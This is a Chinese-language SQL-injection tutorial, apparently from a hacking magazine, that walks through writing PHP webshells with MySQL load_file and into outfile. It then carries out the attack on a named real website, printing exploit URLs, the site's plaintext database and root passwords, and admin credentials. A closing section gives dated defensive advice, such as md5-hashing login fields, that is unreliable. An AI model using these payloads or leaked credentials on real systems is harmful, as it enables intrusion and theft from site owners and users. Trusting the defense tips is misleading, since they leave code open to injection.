直接利用注入得到webshell,这应该是大家都很想的吧,下面就教给你。
这里假设你已经知道了网站所在的物理路径,我这里假设网站路径为c:/apache/htdocs/site。网站的my sql连接信息放在/lib/ sql.inc.php里
1)适用于magic _quotes _gpc=Off
假设我们可以上传图片,或者txt,zip,等其它东西,我们把我们的 木马改成
jpg后缀的,上传后路径为/upload/2004091201.jpg
2004091201.jpg中的内容为
好,我们开始http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load _file('C:/apache/htdocs/site/upload/2004091201.jpg'),4,5,6,7,8,9,10,11%20into%20outfile'C:/apache/htdocs/site/shell.php'
因为适用了outfile,所以网页显示不正常,但是我们的任务是完成了。
如图28
我们赶快去看看http://localhost/site/shell.php?cmd=dir
如图29
爽否?Webshell我们已经创建成功了。看到最前面的12了没?那就是我们select 1,2所输出的!
2)下面再讲一个适用于magic _quotes _gpc=On的时候保存webshell的方法哦,显然肯定也能用在于magic _quotes _gpc=Off的时候啦。
我们直接读他的配置文件,用 技巧2介绍的方法
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load _file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11
得到 sql.inc.php内容为
好了我们知道了my sql的root 密码了,我们找到phpmyadmin的后台
http://localhost/phpmyadmin/
用root 密码为空登陆。
如图30
然后我们新建立一个表结构内容如下:
#
# 数据表的结构 `te`
#
CREATE TABLE te (
cmd text NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
#
# 导出下面的 数据库内容 `te`
#
INSERT INTO te VALUES (' ');
Ok,是我们用select * from table into outfile''的时候了
直接在phpmyadmin的 sql输入
SELECT * FROM `te` into outfile 'C:/apache/htdocs/site/cmd1.php';
如图31
Ok,成功执行,我们去http://localhost/site/cmd1.php?cmd=dir看看效果去
如图32
好爽的一个webshell是吧!哈哈,我也很喜欢。
不过不知道大家有没有发现我们是在magic _quotes _gpc=On的情况下完成这项工作的,竟然在phpmyadmin里可以不用考虑引号的限制,哈哈,说明什么?说明phpmyadmin太伟大了,这也就是我们在谈magic _quotes _gpc=On绕过时所卖的那个关子啦!
6.发现没有我们还可以利用update和insert来插入我们的数据,然后来得到我们的webshell哦,还用上面的那个例子,
//reg.php
......
$query = "INSERT INTO members
VALUES('$id','$login','$pass','$email','2')" ;
......
?>
我们在email的地方输入
假设我们注册后的id为10
那么我们可以再找到一个可以注入的地方
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,email,4,5,6,7,8,9,10,11%20from%20user%20where%20id=10%20 into%20outfile'C:/apache/htdocs/site/test.php'
好了,我们又有了我们的wenshell了哦。
7.my sql的跨库查询
大家是不是一直听说my sql不能跨库查询啊,哈哈,今天我将要教大家一个好方法,通过这个方法来实现变相的跨库查询,方法就是通过load _file来直接读出my sql中data文件夹下的文件内容,从而实现变态跨库查询。
举个例子啦
在这之前我们先讲一下my sql的data文件夹下的结构
Data文件夹下有按 数据库名生成的文件夹,文件夹下按照表名生成三个后缀为frm,myd,myi的三个文件,例如
My sql中有alpha 数据库,在alpha库中有alphaauthor和alphadb两个表,
Alpha文件夹内容如下图33
其中alphadb.frm放着lphadb表中的数据,alphadb.frm放着表的结构,alphadb.myi中放的内容随my sql的版本不通会有所不同,具体可以自己用记事本打开来判断。
实验开始
假设我们知道有另外的一个 数据库yminfo210存在,且存在表user,user中放这admin的信息。
我们
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load _file('yminfo210/user.myd'),4,5,6,7,8,9,10,11
说明一下,load _file默认所在的目录是my sql下的data目录,所以我们用
load _file('yminfo210/user.myd'),当然load _file('.info210/user.myd')也是一样的,注意的是into outfile的默认路径是在所在的 数据库文件夹下。
结果如图34
我们看读出来的内容
舼? admin 698d51a19d8a121ce581499d7b701668 admin@yoursite.comadmin question admin answer http://www.yoursite.com (?靃?KA靃?靃? 127.0.0.1 d|?? aaa 3dbe00a167653a1aaee01d93e77e730e sdf@sd.com sdfasdfsdfa asdfadfasd ?E麷AM麷A 127.0.0.1 222 222222223423
虽然乱码一堆,但是我们还是可以看出用户名是admin, 密码是698d51a19d8a121ce581499d7b701668,后面其它的是另外的信息。
通过这种方法我们就实现了曲线跨库,下面的例子中也会提到哦!
说了这么多下面我们来具体的使用一次,这次测试的对象是国内一著名安全类站点――黑白网络
听人家说黑白有 漏洞?我们一起去看看吧。
http://www.heibai.net/down/show.php?id=5403%20and%201=1
正常显示。
如图35
http://www.heibai.net/down/show.php?id=5403%20and%201=2
显示不正常。
如图36
好,我们继续
http://www.heibai.net/down/show.php?id=5403%20and%201=1 union select 1
显示结果如下
如图37
注意看图中没有显示程序名,而且还附带了
Warning: my sql _fetch _object(): supplied argument is not a valid MySQL result resource in D:/web/heibai/down/show.php on line 45
Warning: my sql _fetch _array(): supplied argument is not a valid MySQL result resource in D:/web/heibai/down/global.php on line 578
晕了,网站路径出来了,那可就死定了哦!
我们继续,直到我们猜到
http://www.heibai.net/down/show.php?id=5403%20and%201=1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
的时候正常显示了。
如图38
好我们转换语句成为
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
显示如图39
看看简介处显示为12,我们可以猜测此处应该为字符型!
Ok,我们下面看看文件内容先
D:/web/heibai/down/show.php转化成ascii后为
char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,111,119,46,112,104,112)
我们
view-source:http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load _file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,111,119,46,112,104,112)),13,14,15,16,17,18,19
view-source:是指察看源 代码,至于为什么用,我们后面将讲到
显示出它的源 代码
如图40
因为在show.php中有一句
如果我们直接在浏览器里提交会跳转到list.php
我们发现这句require ("./include/config.inc.php");
好东西,应该放这配置文件,ok继续
d:/web/heibai/down/include/config.inc.php
转化成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)
我们输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load _file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)),13,14,15,16,17,18,19
显示结果如图41
里面内容主要有
.......................
ymDown (夜猫下载系统) 是一个应用于网站提供下载 服务的的程序
// ------------------------- -------- ------------------------- //
// 常规设置 //
// ------------------------- -------- ------------------------- //
// 数据库信息
$dbhost = "localhost"; // 数据库主机名
$dbuser = "download";// 数据库用户名
$dbpasswd = "kunstar988"; // 数据库 密码
$dbname = "download"; // 数据库名
// Cookie 名称
$cookie _name = "heibai";
// 版本号
$version = "1.0.1";
// 数据表名
$down _table = ymdown;
$down _user _table = ymdown _user;
$down _sort1 _table = ymdown _sort1;
$down _sort2 _table = ymdown _sort2;
晕原来用的是夜猫的下载系统,而且我们知道了
$dbuser = "download";// 数据库用户名
$dbpasswd = "kunstar988"; // 数据库 密码
说不定呆会有用哦。
用的表名是默认的表名,我们知道夜猫的管理员 密码放在ymdown _user中
我们继续http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,username,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19 from ymdown _user
结果如图42
根据提示我们知道文件大小处的是username,应用平台处的是password(对照图36)
即username=dload,password=6558428,夜猫的后台默认在admin目录下,我试验了很久都没有找到,晕之。
想直接连接my sql,发现telnet端口并没有开放。我们去看看别的吧!
http://www.heibai.net/vip/article/login.php
看起来像是 会员的登陆哦,我们看看先
d:/web/heibai/vip/article/login.php
转化成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,108,111,103,105,110,46,112,104,112)
我们输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load _file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,108,111,103,105,110,46,112,104,112)),13,14,15,16,17,18,19
结果如图43:
其中
require ("./include/global.php");
require ("./include/config.inc.php");
require ("./mainfunction.php");
require ("./function.php");
当然了,我们去看config.inc.php吧
d:/web/heibai/vip/article/include/config.inc.php
转成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)
输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load _file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)),13,14,15,16,17,18,19
结果如图44
显示了很多好东西哦
$dbhost = "localhost"; // 数据库主机名
$dbuser = "root"; // 数据库用户名
$dbpass = "234ytr8ut"; // 数据库 密码
$dbname = "article"; // 数据库名
$ymcms _user _table = "user";
$ymcms _usergroup _table = "usergroup";
$ymcms _userrace _table = "userrace";
表还是默认的表,而且出来了root的 密码
要是能连上它的my sql该多好啊,那样我们就可以into outfile了
痛苦的找了找phpmyadmin,没有找见,或许根本就没有用。
读c:/winnt/php.ini发现
; Magic quotes
;
; Magic quotes for incoming GET/POST/Cookie data.
magic _quotes _gpc = On
55555555,痛苦中,我们看看能不能搞几个 会员账号
猜测 会员账号放在user表中,我们直接读data下article文件夹里的user.myd文件
Article/user.myd转换成
char(97,114,116,105,99,108,101,47,117,115,101,114,46,109,121,100)
我们输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load _file(char(97,114,116,105,99,108,101,47,117,115,101,114,46,109,121,100)),13,14,15,16,17,18,19
结果如图45:
晕了,竟然没有返回。我们来读Article/user.frm
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load _file(char(97,114,116,105,99,108,101,47,117,115,101,114,46,102,114,109)),13,14,15,16,17,18,19
结果如图46
晕了,表结构都在,而且读Article/user.myi时也成功,可是为什么Article/user.myd读不出来呢?要是magic _quotes _gpc=Off我们还可以into outfile来看看,可是......
郁闷中,测试就这样结束吧,下面的工作还是留给你们来完成吧!
文中所述问题已经通知星坤了!
四:php+my sql注入的防范方法。
在上一期的专题里已经讲了很多的防范方法,这里我就主要讲一下php+my sql注射 攻击的防范方法。
大家看到,在magic _quotes _gpc=On的时候,很多的注射 攻击已经没有作用了。
我们可以利用这个来加固我们的程序。Addslashes()函数等同于magic _quotes _gpc=On,而且与magic _quotes _gpc=On也不冲突,我们可以这样过滤
$username = addslashes($username);
$query="SELECT * FROM users WHERE userid='$username'");
对于id型我们可以利用intval()函数,intval()函数可以将变量转换成整数类型,这样就可以了。
我们可以这样
$id = intval($id);
$query="SELECT * FROM alphadb WHERE articleid='$id'");
如果是字符型的呢?
我们可以先用addslashes()过滤一下,然后再过滤"%"和" _".
例如:
$search = addslashes($search);
$search = str _replace(" _","/ _",$search);
$search = str _replace("%","/%",$search);
记得,可千万别在magic _quotes _gpc=On的情况下替换/为//,如下:
$password=str _replace("//","",$password);
我记得在darkness的文章《对某PHP站点的一次渗透》中提到过这个问题(在光盘中有收录)。
还有的就是登陆的地方,如果是只用一个管理员管理的话,我们可以直接对username和passwd用md5加密,这样就不用害怕注入 技术的发展了。
Username=md5($HTTP _POST _VARS["username"]);
Passwd=md5($HTTP _POST _VARS["passwd"]);
我的后台登陆就是这样子的哦。
后记:
本文就讲这么多了,注入是一门灵活的 技术,有很多 技术还在继续发展中,有任何问题和意见可以到炎黄兵团(www.cnwill.com)来找我,也欢迎对文中内容批评指正